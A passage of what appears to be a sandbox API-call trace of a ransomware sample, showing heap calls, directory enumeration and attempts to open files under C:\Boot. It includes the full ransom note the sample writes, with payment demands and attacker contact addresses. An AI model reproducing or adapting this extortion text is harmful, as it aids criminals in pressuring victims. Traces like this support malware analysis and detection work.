hHeap=0xd10000) returned 1 [0116.703] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.703] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.705] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.705] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.706] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.706] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.707] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0116.707] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.707] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.707] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.707] PathFindFileNameW (pszPath="") returned="" [0116.707] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.707] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.707] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.707] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.707] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.707] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.707] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.707] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0116.707] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0116.708] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.708] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.708] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.708] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.708] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.708] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.708] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0116.708] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.708] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.708] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.709] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.709] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, 